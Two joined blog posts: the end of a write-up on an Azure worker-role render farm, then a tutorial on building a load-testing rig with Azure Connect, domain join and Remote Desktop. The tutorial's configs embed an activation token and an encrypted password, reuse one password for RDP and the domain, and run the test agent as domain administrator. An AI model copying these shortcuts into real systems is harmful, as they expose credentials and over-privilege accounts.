of 38 frames per minute. The rendering of the last 1,000 frames took 16 minutes 27 seconds, which works out at a rendering rate of 60 frames per minute. The frame counts in the server instances indicate that the use of a queue to distribute the workload has been very effective in distributing the load across the 256 worker role instances. The first 16 instances that were deployed first have rendered between 11 and 13 frames each, whilst the 240 instances that were added when the application was scaled have rendered between 6 and 9 frames each.   Completed Animation I’ve uploaded the completed animation to YouTube, a low resolution preview is shown below. Pin Board Animation Created using Windows Kinect and 256 Windows Azure Worker Roles   The animation can be viewed in 1280x720 resolution at the following link: http://www.youtube.com/watch?v=n5jy6bvSxWc Effective Use of Resources According to the CloudRay monitor statistics the animation took 6 days, 7 hours and 22 minutes CPU to render, this works out at 152 hours of compute time, rounded up to the nearest hour. As the usage for the worker role instances are billed for the full hour, it may have been possible to render the animation using fewer than 256 worker roles. When deciding the optimal usage of resources, the time required to provision and start the worker roles must also be considered. In the demo I started with 16 worker roles, and then scaled the application to 256 worker roles. It would have been more optimal to start the application with maybe 200 worker roles, and utilized the full hour that I was being billed for. This would, however, have prevented showing the ease of scalability of the application. The new management portal displays the CPU usage across the worker roles in the deployment. The average CPU usage across all instances is 93.27%, with over 99% used when all the instances are up and running. This shows that the worker role resources are being used very effectively. Grid Computing Scenarios Although I am using this scenario for a hobby project, there are many scenarios where a large amount of compute power is required for a short period of time. Windows Azure provides a great platform for developing these types of grid computing applications, and can work out very cost effective. ·         Windows Azure can provide massive compute power, on demand, in a matter of minutes. ·         The use of queues to manage the load balancing of jobs between role instances is a simple and effective solution. ·         Using a cloud-computing platform like Windows Azure allows proof-of-concept scenarios to be tested and evaluated on a very low budget. ·         No charges for inbound data transfer makes the uploading of large data sets to Windows Azure Storage services cost effective. (Transaction charges still apply.) Tips for using Windows Azure for Grid Computing Scenarios I found the implementation of a render farm using Windows Azure a fairly simple scenario to implement. I was impressed by ease of scalability that Azure provides, and by the short time that the application took to scale from 16 to 256 worker role instances. In this case it was around 13 minutes, in other tests it took between 10 and 20 minutes. The following tips may be useful when implementing a grid computing project in Windows Azure. ·         Using an Azure Storage queue to load-balance the units of work across multiple worker roles is simple and very effective. The design I have used in this scenario could easily scale to many thousands of worker role instances. ·         Windows Azure accounts are typically limited to 20 cores. If you need to use more than this, a call to support and a credit card check will be required. ·         Be aware of how the billing model works. You will be charged for worker role instances for the full clock our in which the instance is deployed. Schedule the workload to start just after the clock hour has started. ·         Monitor the utilization of the resources you are provisioning, ensure that you are not paying for worker roles that are idle. ·         If you are deploying third party applications to worker roles, you may well run into licensing issues. Purchasing software licenses on a per-processor basis when using hundreds of processors for a short time period would not be cost effective. ·         Third party software may also require installation onto the worker roles, which can be accomplished using start-up tasks. Bear in mind that adding a startup task and possible re-boot will add to the time required for the worker role instance to start and activate. An alternative may be to use a prepared VM and use VM roles. ·         Consider using the Windows Azure Autoscaling Application Block (WASABi) to autoscale the worker roles in your application. When using a large number of worker roles, the utilization must be carefully monitored, if the scaling algorithms are not optimal it could get very expensive!

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  • Part 2&ndash;Load Testing In The Cloud

    - by Tarun Arora
    Welcome to Part 2, In Part 1 we discussed the advantages of creating a Test Rig in the cloud, the Azure edge and the Test Rig Topology we want to get to. In Part 2, Let’s start by understanding the components of Azure we’ll be making use of followed by manually putting them together to create the test rig, so… let’s get down dirty start setting up the Test Rig.  What Components of Azure will I be using for building the Test Rig in the Cloud? To run the Test Agents we’ll make use of Windows Azure Compute and to enable communication between Test Controller and Test Agents we’ll make use of Windows Azure Connect.  Azure Connect The Test Controller is on premise and the Test Agents are in the cloud (How will they talk?). To enable communication between the two, we’ll make use of Windows Azure Connect. With Windows Azure Connect, you can use a simple user interface to configure IPsec protected connections between computers or virtual machines (VMs) in your organization’s network, and roles running in Windows Azure. With this you can now join Windows Azure role instances to your domain, so that you can use your existing methods for domain authentication, name resolution, or other domain-wide maintenance actions. For more details refer to an overview of Windows Azure connect. A very useful video explaining everything you wanted to know about Windows Azure connect.  Azure Compute Windows Azure compute provides developers a platform to host and manage applications in Microsoft’s data centres across the globe. A Windows Azure application is built from one or more components called ‘roles.’ Roles come in three different types: Web role, Worker role, and Virtual Machine (VM) role, we’ll be using the Worker role to set up the Test Agents. A very nice blog post discussing the difference between the 3 role types. Developers are free to use the .NET framework or other software that runs on Windows with the Worker role or Web role. Developers can also create applications using languages such as PHP and Java. More on Windows Azure Compute. Each Windows Azure compute instance represents a virtual server... Virtual Machine Size CPU Cores Memory Cost Per Hour Extra Small Shared 768 MB $0.04 Small 1 1.75 GB $0.12 Medium 2 3.50 GB $0.24 Large 4 7.00 GB $0.48 Extra Large 8 14.00 GB $0.96   You might want to review the Windows Azure Pricing FAQ. Let’s Get Started building the Test Rig… Configuration Machine Role Comments VM – 1 Domain Controller for Playpit.com On Premise VM – 2 TFS, Test Controller On Premise VM – 3 Test Agent Cloud   In this blog post I would assume that you have the domain, Team Foundation Server and Test Controller Installed and set up already. If not, please refer to the TFS 2010 Installation Guide and this walkthrough on MSDN to set up your Test Controller. You can also download a preconfigured TFS 2010 VM from Brian Keller's blog, Brian also has some great hands on Labs on TFS 2010 that you may want to explore. I. Lets start building VM – 3: The Test Agent Download the Windows Azure SDK and Tools Open Visual Studio and create a new Windows Azure Project using the Cloud Template                   Choose the Worker Role for reasons explained in the earlier post         The WorkerRole.cs implements the Run() and OnStart() methods, no code changes required. You should be able to compile the project and run it in the compute emulator (The compute emulator should have been installed as part of the Windows Azure Toolkit) on your local machine.                   We will only be making changes to WindowsAzureProject, open ServiceDefinition.csdef. Ensure that the vmsize is small (remember the cost chart above). Import the “Connect” module. I am importing the Connect module because I need to join the Worker role VM to the Playpit domain. <?xml version="1.0" encoding="utf-8"?> <ServiceDefinition name="WindowsAzureProject2" xmlns="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceDefinition"> <WorkerRole name="WorkerRole1" vmsize="Small"> <Imports> <Import moduleName="Diagnostics" /> <Import moduleName="Connect"/> </Imports> </WorkerRole> </ServiceDefinition> Go to the ServiceConfiguration.Cloud.cscfg and note that settings with key ‘Microsoft.WindowsAzure.Plugins.Connect.%%%%’ have been added to the configuration file. This is because you decided to import the connect module. See the config below. <?xml version="1.0" encoding="utf-8"?> <ServiceConfiguration serviceName="WindowsAzureProject2" xmlns="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceConfiguration" osFamily="1" osVersion="*"> <Role name="WorkerRole1"> <Instances count="1" /> <ConfigurationSettings> <Setting name="Microsoft.WindowsAzure.Plugins.Diagnostics.ConnectionString" value="UseDevelopmentStorage=true" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.ActivationToken" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.Refresh" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.WaitForConnectivity" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.Upgrade" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.EnableDomainJoin" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainFQDN" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainControllerFQDN" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainAccountName" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainPassword" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainOU" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.Administrators" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainSiteName" value="" /> </ConfigurationSettings> </Role> </ServiceConfiguration>             Let’s go step by step and understand all the highlighted parameters and where you can find the values for them.       osFamily – By default this is set to 1 (Windows Server 2008 SP2). Change this to 2 if you want the Windows Server 2008 R2 operating system. The Advantage of using osFamily = “2” is that you get Powershell 2.0 rather than Powershell 1.0. In Powershell 2.0 you could simply use “powershell -ExecutionPolicy Unrestricted ./myscript.ps1” and it will work while in Powershell 1.0 you will have to change the registry key by including the following in your command file “reg add HKLM\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell /v ExecutionPolicy /d Unrestricted /f” before you can execute any power shell. The other reason you might want to move to os2 is if you wanted IIS 7.5.       Activation Token – To enable communication between the on premise machine and the Windows Azure Worker role VM both need to have the same token. Log on to Windows Azure Management Portal, click on Connect, click on Get Activation Token, this should give you the activation token, copy the activation token to the clipboard and paste it in the configuration file. Note – Later in the blog I’ll be showing you how to install connect on the on premise machine.                       EnableDomainJoin – Set the value to true, ofcourse we want to join the on windows azure worker role VM to the domain.       DomainFQDN, DomainControllerFQDN, DomainAccountName, DomainPassword, DomainOU, Administrators – This information is specific to your domain. I have extracted this information from the ‘service manager’ and ‘Active Directory Users and Computers’. Also, i created a new Domain-OU namely ‘CloudInstances’ so all my cloud instances joined to my domain show up here, this is optional. You can encrypt the DomainPassword – refer to the instructions here. Or hold fire, I’ll be covering that when i come to certificates and encryption in the coming section.       Now once you have filled all this information up, the configuration file should look something like below, <?xml version="1.0" encoding="utf-8"?> <ServiceConfiguration serviceName="WindowsAzureProject2" xmlns="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceConfiguration" osFamily="2" osVersion="*"> <Role name="WorkerRole1"> <Instances count="1" /> <ConfigurationSettings> <Setting name="Microsoft.WindowsAzure.Plugins.Diagnostics.ConnectionString" value="UseDevelopmentStorage=true" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.ActivationToken" value="45f55fea-f194-4fbc-b36e-25604faac784" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.Refresh" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.WaitForConnectivity" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.Upgrade" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.EnableDomainJoin" value="true" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainFQDN" value="play.pit.com" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainControllerFQDN" value="WIN-KUDQMQFGQOL.play.pit.com" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainAccountName" value="playpit\Administrator" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainPassword" value="************************" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainOU" value="OU=CloudInstances, DC=Play, DC=Pit, DC=com" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.Administrators" value="Playpit\Administrator" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainSiteName" value="" /> </ConfigurationSettings> </Role> </ServiceConfiguration> Next we will be enabling the Remote Desktop module in to the ServiceDefinition.csdef, we could make changes manually or allow a beautiful wizard to help us make changes. I prefer the second option. So right click on the Windows Azure project and choose Publish       Now once you get the publish wizard, if you haven’t already you would be asked to import your Windows Azure subscription, this is simply the Msdn subscription activation key xml. Once you have done click Next to go to the Settings page and check ‘Enable Remote Desktop for all roles’.       As soon as you do that you get another pop up asking you the details for the user that you would be logging in with (make sure you enter a reasonable expiry date, you do not want the user account to expire today). Notice the more information tag at the bottom, click that to get access to the certificate section. See screen shot below.       From the drop down select the option to create a new certificate        In the pop up window enter the friendly name for your certificate. In my case I entered ‘WAC – Test Rig’ and click ok. This will create a new certificate for you. Click on the view button to see the certificate details. Do you see the Thumbprint, this is the value that will go in the config file (very important). Now click on the Copy to File button to copy the certificate, we will need to import the certificate to the windows Azure Management portal later. So, make sure you save it a safe location.                                Click Finish and enter details of the user you would like to create with permissions for remote desktop access, once you have entered the details on the ‘Remote desktop configuration’ screen click on Ok. From the Publish Windows Azure Wizard screen press Cancel. Cancel because we don’t want to publish the role just yet and Yes because we want to save all the changes in the config file.       Now if you go to the ServiceDefinition.csdef file you will see that the RemoteAccess and RemoteForwarder roles have been imported for you. <?xml version="1.0" encoding="utf-8"?> <ServiceDefinition name="WindowsAzureProject2" xmlns="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceDefinition"> <WorkerRole name="WorkerRole1" vmsize="Small"> <Imports> <Import moduleName="Diagnostics" /> <Import moduleName="Connect" /> <Import moduleName="RemoteAccess" /> <Import moduleName="RemoteForwarder" /> </Imports> </WorkerRole> </ServiceDefinition> Now go to the ServiceConfiguration.Cloud.cscfg file and you see a whole bunch for setting “Microsoft.WindowsAzure.Plugins.RemoteAccess.%%%” values added for you. <?xml version="1.0" encoding="utf-8"?> <ServiceConfiguration serviceName="WindowsAzureProject2" xmlns="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceConfiguration" osFamily="2" osVersion="*"> <Role name="WorkerRole1"> <Instances count="1" /> <ConfigurationSettings> <Setting name="Microsoft.WindowsAzure.Plugins.Diagnostics.ConnectionString" value="UseDevelopmentStorage=true" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.ActivationToken" value="45f55fea-f194-4fbc-b36e-25604faac784" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.Refresh" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.WaitForConnectivity" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.Upgrade" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.EnableDomainJoin" value="true" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainFQDN" value="play.pit.com" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainControllerFQDN" value="WIN-KUDQMQFGQOL.play.pit.com" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainAccountName" value="playpit\Administrator" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainPassword" value="************************" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainOU" value="OU=CloudInstances, DC=Play, DC=Pit, DC=com" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.Administrators" value="Playpit\Administrator" /> <Setting name="Microsoft.WindowsAzure.Plugins.Connect.DomainSiteName" value="" /> <Setting name="Microsoft.WindowsAzure.Plugins.RemoteAccess.Enabled" value="true" /> <Setting name="Microsoft.WindowsAzure.Plugins.RemoteAccess.AccountUsername" value="Administrator" /> <Setting name="Microsoft.WindowsAzure.Plugins.RemoteAccess.AccountEncryptedPassword" value="MIIBnQYJKoZIhvcNAQcDoIIBjjCCAYoCAQAxggFOMIIBSgIBADAyMB4xHDAaBgNVBAMME1dpbmRvd 3MgQXp1cmUgVG9vbHMCEGa+B46voeO5T305N7TSG9QwDQYJKoZIhvcNAQEBBQAEggEABg4ol5Xol66Ip6QKLbAPWdmD4ae ADZ7aKj6fg4D+ATr0DXBllZHG5Umwf+84Sj2nsPeCyrg3ZDQuxrfhSbdnJwuChKV6ukXdGjX0hlowJu/4dfH4jTJC7sBWS AKaEFU7CxvqYEAL1Hf9VPL5fW6HZVmq1z+qmm4ecGKSTOJ20Fptb463wcXgR8CWGa+1w9xqJ7UmmfGeGeCHQ4QGW0IDSBU6ccg vzF2ug8/FY60K1vrWaCYOhKkxD3YBs8U9X/kOB0yQm2Git0d5tFlIPCBT2AC57bgsAYncXfHvPesI0qs7VZyghk8LVa9g5IqaM Cp6cQ7rmY/dLsKBMkDcdBHuCTAzBgkqhkiG9w0BBwEwFAYIKoZIhvcNAwcECDRVifSXbA43gBApNrp40L1VTVZ1iGag+3O1" /> <Setting name="Microsoft.WindowsAzure.Plugins.RemoteAccess.AccountExpiration" value="2012-11-27T23:59:59.0000000+00:00" /> <Setting name="Microsoft.WindowsAzure.Plugins.RemoteForwarder.Enabled" value="true" /> </ConfigurationSettings> <Certificates> <Certificate name="Microsoft.WindowsAzure.Plugins.RemoteAccess.PasswordEncryption" thumbprint="AA23016CF0BDFC344400B5B82706B608B92E4217" thumbprintAlgorithm="sha1" /> </Certificates> </Role> </ServiceConfiguration>          Okay let’s look at them one at a time,       Enabled - Yes, we would like to enable Remote Access.       AccountUserName – This is the user name you entered while you were on the publish windows azure role screen, as detailed above.       AccountEncrytedPassword – Try and decode that, the certificate is used to encrypt the password you specified for the user account. Remember earlier i said, either use the instructions or wait and i’ll be showing you encryption, now the user account i am using for rdp has the same password as my domain password, so i can simply copy the value of the AccountEncryptedPassword to the DomainPassword as well.       AccountExpiration – This is the expiration as you specified in the wizard earlier, make sure your account does not expire today.       Remote Forwarder – Check out the documentation, below is how I understand it, -- One role in an application that implements a remote desktop connection must import the RemoteForwarder module. The two modules work together to enable the remote desktop connections to role instances. -- If you have multiple roles defined in the service model, it does not matter which role you add the RemoteForwarder module to, but you must add it to only one of the role definitions.       Certificate – Remember the certificate thumbprint from the wizard, the on premise machine and windows azure role machine that need to speak to each other must have the same thumbprint. More on that when we install Windows Azure connect Endpoints on the on premise machine. As i said earlier, in this blog post, I’ll be showing you the manual process so i won’t be scripting any star up tasks to install the test agent or register the test agent with the TFS Server. I’ll be showing you all this cool stuff in the next blog post, that’s because it’s important to understand the manual side of it, it becomes easier for you to troubleshoot in case something fails. Having said that, the changes we have made are sufficient to spin up the Windows Azure Worker Role aka Test Agent VM, have it connected with the play.pit.com domain and have remote access enabled on it. Before we deploy the Test Agent VM we need to set up Windows Azure Connect on the TFS Server. II. Windows Azure Connect: Setting up Connect on VM – 2 i.e. TFS & Test Controller Glad you made it so far, now to enable communication between the on premise TFS/Test Controller and Azure-ed Test Agent we need to enable communication. We have set up the Azure connect module in the Test Agent configuration, now the connect end points need to be enabled on the on premise machines, let’s have a look at how we can do this. Log on to VM – 2 running the TFS Server and Test Controller Log on to the Windows Azure Management Portal and click on Virtual Network Click on Virtual Network, if you already have a subscription you should see the below screen shot, if not, you would be asked to complete the subscription first        Click on Install Local Endpoints from the top left on the panel and you get a url appended with a token id in it, remember the token i showed you earlier, in theory the token you get here should match the token you added to the Test Agent config file.        Copy the url to the clip board and paste it in IE explorer (important, the installation at present only works out of IE and you need to have cookies enabled in order to complete the installation). As stated in the pop up, you can NOT download and run the software later, you need to run it as is, since it contains a token. Once the installation completes you should see the Windows Azure connect icon in the system tray.                         Right click the Azure Connect icon, choose Diagnostics and refer to this link for diagnostic detail terminology. NOTE – Unfortunately I could not see the Windows Azure connect icon in the system tray, a bit of binging with Google revealed that the azure connect icon is only shown when the ‘Windows Azure Connect Endpoint’ Service is started. So go to services.msc and make sure that the service is started, if not start it, unfortunately again, the service did not start for me on a manual start and i realised that one of the dependant services was disabled, you can look at the service dependencies and start them and then start windows azure connect. Bottom line, you need to start Windows Azure connect service before you can proceed. Please refer here on MSDN for more on Troubleshooting Windows Azure connect. (Follow the next step as well)   Now go back to the Windows Azure Management Portal and from Groups and Roles create a new group, lets call it ‘Test Rig’. Make sure you add the VM – 2 (the TFS Server VM where you just installed the endpoint).       Now if you go back to the Azure Connect icon in the system tray and click ‘Refresh Policy’ you will notice that the disconnected status of the icon should change to ready for connection. III. Importing Certificate in to Windows Azure Management Portal But before that you need to import the certificate you created in Step I in to the Windows Azure Management Portal. Log on to the Windows Azure Management Portal and click on ‘Hosted Services, Storage Accounts & CDN’ and then ‘Management Certificates’ followed by Add Certificates as shown in the screen shot below        Browse to the location where you saved the certificate earlier, remember… Refer to Step I in case you forgot.        Now you should be able to see the imported certificate here, make sure the thumbprint of the certificate matches the one you inserted in the config files        IV. Publish Windows Azure Worker Role aka Test Agent Having completed I, II and III, you are ready to publish the Test Agent VM – 3 to the cloud. Go to Visual Studio and right click the Windows Azure project and select Publish. Verify the infomration in the wizard, from the advanced settings tab, you can also enabled capture of intellitrace or profiling information.         Click Next and Click Publish! From the view menu bar select the Windows Azure Activity Log window.       Now you should be able to see the deployment progress in real time.             In the Windows Azure Management Portal, you should also be able to see the progress of creation of a new Worker Role.       Once the deployment is complete you should be able to RDP (go to run prompt type mstsc and in the pop up the machine name) in to the Test Agent Worker Role VM from the Playpit network using the domain admin user account. In case you are unable to log in to the Test Agent using the domain admin user account it means the process of joining the Test Agent to the domain has failed! But the good news is, because you imported the connect module, you can connect to the Test Agent machine using Windows Azure Management Portal and troubleshoot the reason for failure, you will be able to log in with the user name and password you specified in the config file for the keys ‘RemoteAccess.AccountUsername, RemoteAccess.EncryptedPassword (just that enter the password unencrypted)’, fix it or manually join the machine to the domain. Once you have managed to Join the Test Agent VM to the Domain move to the next step.      So, log in to the Test Agent Worker Role VM with the Playpit Domain Administrator and verify that you can log in, the machine is connected to the domain and the connect service is successfully running. If yes, give your self a pat on the back, you are 80% mission accomplished!         Go to the Windows Azure Management Portal and click on Virtual Network, click on Groups and Roles and click on Test Rig, click Edit Group, the edit the Test Rig group you created earlier. In the Connect to section, click on Add to select the worker role you have just deployed. Also, check the ‘Allow connections between endpoints in the group’ with this you will enable to communication between test controller and test agents and test agents/test agents. Click Save.      Now, you are ready to deploy the Test Agent software on the Worker Role Test Agent VM and configure it to work with the Test Controller. V. Configuring VM – 3: Installing Test Agent and Associating Test Agent to Controller Log in to the Worker Role Test Agent VM that you have just successfully deployed, make sure you log in with the domain administrator account. Download the All Agents software from MSDN, ‘en_visual_studio_agents_2010_x86_x64_dvd_509679.iso’, extract the iso and navigate to where you have extracted the iso. In my case, i have extracted the iso to “C:\Resources\Temp\VsAgentSetup”. Open the Test Agent folder and double click on setup.exe. Once you have installed the Test Agent you should reach the configuration window. If you face any issues installing TFS Test Agent on the VM, refer to the walkthrough on MSDN.       Once you have successfully installed the Test Agent software you will need to configure the test agent. Right click the test agent configuration tool and run as a different user. i.e. an Administrator. This is really to run the configuration wizard with elevated privileges (you might have UAC block something's otherwise).        In the run options, you can select ‘service’ you do not need to run the agent as interactive un less you are running coded UI tests. I have specified the domain administrator to connect to the TFS Test Controller. In real life, i would never do that, i would create a separate test user service account for this purpose. But for the blog post, we are using the most powerful user so that any policies or restrictions don’t block you.        Click the Apply Settings button and you should be all green! If not, the summary usually gives helpful error messages that you can resolve and proceed. As per my experience, you may run in to either a permission or a firewall blocking communication issue.        And now the moment of truth! Go to VM –2 open up Visual Studio and from the Test Menu select Manage Test Controller       Mission Accomplished! You should be able to see the Test Agent that you have just configured here,         VI. Creating and Running Load Tests on your brand new Azure-ed Test Rig I have various blog posts on Performance Testing with Visual Studio Ultimate, you can follow the links and videos below, Blog Posts: - Part 1 – Performance Testing using Visual Studio 2010 Ultimate - Part 2 – Performance Testing using Visual Studio 2010 Ultimate - Part 3 – Performance Testing using Visual Studio 2010 Ultimate Videos: - Test Tools Configuration & Settings in Visual Studio - Why & How to Record Web Performance Tests in Visual Studio Ultimate - Goal Driven Load Testing using Visual Studio Ultimate Now that you have created your load tests, there is one last change you need to make before you can run the tests on your Azure Test Rig, create a new Test settings file, and change the Test Execution method to ‘Remote Execution’ and select the test controller you have configured the Worker Role Test Agent against in our case VM – 2 So, go on, fire off a test run and see the results of the test being executed on the Azur-ed Test Rig. Review and What’s next? A quick recap of the benefits of running the Test Rig in the cloud and what i will be covering in the next blog post AND I would love to hear your feedback! Advantages Utilizing the power of Azure compute to run a heavy virtual user load. Benefiting from the Azure flexibility, destroy Test Agents when not in use, takes < 25 minutes to spin up a new Test Agent. Most important test Network Latency, (network latency and speed of connection are two different things – usually network latency is very hard to test), by placing the Test Agents in Microsoft Data centres around the globe, one can actually test the lag in transferring the bytes not because of a slow connection but because the page has been requested from the other side of the globe. Next Steps The process of spinning up the Test Agents in windows Azure is not 100% automated. I am working on the Worker process and power shell scripts to make the role deployment, unattended install of test agent software and registration of the test agent to the test controller automated. In the next blog post I will show you how to make the complete process unattended and automated. Remember to subscribe to http://feeds.feedburner.com/TarunArora. Hope you enjoyed this post, I would love to hear your feedback! If you have any recommendations on things that I should consider or any questions or feedback, feel free to leave a comment. See you in Part III.   Share this post : CodeProject

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